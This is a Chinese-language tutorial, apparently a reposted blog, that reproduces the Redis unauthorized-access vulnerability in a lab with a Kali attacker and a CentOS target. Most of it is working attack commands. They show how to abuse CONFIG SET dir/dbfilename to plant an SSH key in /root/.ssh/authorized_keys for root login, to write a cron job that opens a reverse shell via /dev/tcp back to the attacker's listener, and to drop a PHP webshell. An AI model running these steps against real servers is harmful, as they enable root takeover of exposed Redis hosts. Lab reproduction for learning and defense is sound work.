redis 公网 安全_redis漏洞复现
一、漏洞簡介
什么是redis
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set --有序集合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。
redis 是一個高性能的key-value數據庫。redis的出現,很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis未授權訪問漏洞
redis 默認情況下,會綁定在 0.0.0.0:6379,,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作。
漏洞的產生條件有以下兩點:
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網;
(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
本次復現主要是:
1.Redis以root身份運行,給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
2.將文件寫入周期性計劃任務,然后接受反彈shell
3.如果搭建了web服務器,寫入webshell,控制服務器(此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改)
準備環境:
攻擊機(kali):192.168.163.131(需要自己搭建redis-cli,和服務器端搭建步驟一樣)
靶機(centos):192.168.163.132
二、環境搭建
(1)下載redis壓縮包
wget http://download.redis.io/releases/redis-2.8.17.tar.gz(2)將壓縮包放入指定路徑,并且進入指定路徑
cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz cd redis(3)解壓壓縮包,進入指定路徑redis-2.8.17,進行安裝
tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make(4)進入到src路徑下
(5)將redis-server和redis-cli拷貝到/usr/bin目錄下,后續方便直接啟動redis服務器并且將redis-2.8.17目錄下面的redis.conf拷貝到/etc下面
cp redis-server /usr/bin cp redis-cli /usr/bin cp redis.conf /etc/redis.conf(6)啟動服務
redis-server /etc/redis.conf三、漏洞復現
3.1 利用“公私鑰”認證獲得root權限
(1)未授權訪問連接(無法連接)
redis-cli -h 192.168.163.132(2)因為是本地搭建,沒有開啟6379端口對外開放,此處為了方便,直接關閉服務器(靶機)的防火墻
/etc/init.d/iptables stop(3)kali攻擊機未授權訪問連接
redis-cli -h 192.168.163.132 keys *(4)在攻擊機中生成ssh公鑰和私鑰,密碼設置為空:
ssh-keygen -t rsa(5)進入.ssh目錄,將生成的公鑰保存到1.txt:
cd /root/.ssh (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt(6)將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):
cat 1.txt | redis-cli -h 192.168.163.132 -x set crack(7)并使用 CONFIG GET dir 命令得到redis備份的路徑:
CONFIG GET dir(8)更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh),并且修改上傳公鑰文件的名稱為authorized_keys
config set dir /root/.ssh CONFIG SET dbfilename authorized_keys(9)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機:
CONFIG GET dbfilename save(10)查看服務器端已經成功寫入
(11)攻擊機成功登陸到服務器
ssh -i id_rsa root@192.168.163.1323.2利用crontab反彈shell
在權限足夠的情況下,利用redis寫入文件到周期性計劃任務執行。
(1)在kali攻擊機里面監聽指定端口
nc -lvnp 8888(2)向服務器寫入文件
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn" config set dir /var/spool/cron config set dbfilename root save3)查看服務器端的寫入情況
(4)Kali攻擊機已經可以連接了(得到了反彈shell)
3.3寫入webshell
此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改,將文件寫入web路徑
(1)寫入文件到/tmp目錄
config set dir /tmp config set dbfilename shell.php set webshell "<?php phpinfo(); ?>" save(2)查看服務器
備注:
寫入webshell的時候,可以使用:
set x "rnrn<?php phpinfo();?>rnrn"rnrn代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。
原文鏈接
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的redis 公网 安全_redis漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python autohotkey_Py
- 下一篇: Java基础--反射